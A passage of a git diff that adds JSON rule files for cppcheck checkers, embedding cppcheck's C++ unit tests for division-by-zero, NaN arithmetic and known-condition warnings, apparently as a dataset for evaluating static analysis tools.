[test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkRedundantPointerOp.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkRedundantPointerOp.json new file mode 100644 index 0000000..11504b2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkRedundantPointerOp.json @@ -0,0 +1,22 @@ +{ + "name": "checkRedundantPointerOp", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 30, + "branches": 12, + "apis": 35, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 11307 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n TEST_CASE(knownArgumentHiddenVariableExpression);\n TEST_CASE(knownArgumentTernaryOperator);\n TEST_CASE(checkComparePointers);\n\n TEST_CASE(unusedVariableValueTemplate); // #8994\n\n TEST_CASE(moduloOfOne);\n\n TEST_CASE(sameExpressionPointers);\n\n TEST_CASE(checkOverlappingWrite);\n\n TEST_CASE(constVariableArrayMember); // #10371\n\n TEST_CASE(knownPointerToBool);\n TEST_CASE(iterateByValue);\n\n TEST_CASE(knownConditionFloating);\n TEST_CASE(knownConditionPrefixed);\n }\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], bool cpp = true, bool inconclusive = true, bool runSimpleChecks=true, bool verbose=false, Settings* settings = nullptr) {\n if (!settings) {\n settings = &_settings;\n }\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.setEnabled(Certainty::inconclusive, inconclusive);\n settings->verbose = verbose;\n\n // Tokenize..\n SimpleTokenizer tokenizer(*settings, *this, cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n\n (void)runSimpleChecks; // TODO Remove this\n }\n\n template\n void check_(const char* file, int line, const char (&code)[size], Settings *s) {\n check_(file, line, code, true, true, true, false, s);\n }\n\n struct CheckPOptions\n {\n CheckPOptions() = default;\n bool cpp = true;\n };\n\n#define checkP(...) checkP_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkP_(const char* file, int line, const char (&code)[size], const CheckPOptions& options = make_default_obj()) {\n Settings* settings = &_settings;\n settings->severity.enable(Severity::style);\n settings->severity.enable(Severity::warning);\n settings->severity.enable(Severity::portability);\n settings->severity.enable(Severity::performance);\n settings->standards.c = Standards::CLatest;\n settings->standards.cpp = Standards::CPPLatest;\n settings->certainty.enable(Certainty::inconclusive);\n\n SimpleTokenizer2 tokenizer(*settings, *this, code, options.cpp ? \"test.cpp\" : \"test.c\");\n\n // Tokenizer..\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n template\n void checkInterlockedDecrement(const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().platform(Platform::Type::Win32A).build();\n\n check(code, true, false, true, false, &settings);\n }\n\n void emptyBrackets() {\n check(\"{\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void zeroDiv1() { // floating point division by zero => no error\n check(\"void foo() {\\n\"\n \" cout << 1. / 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n 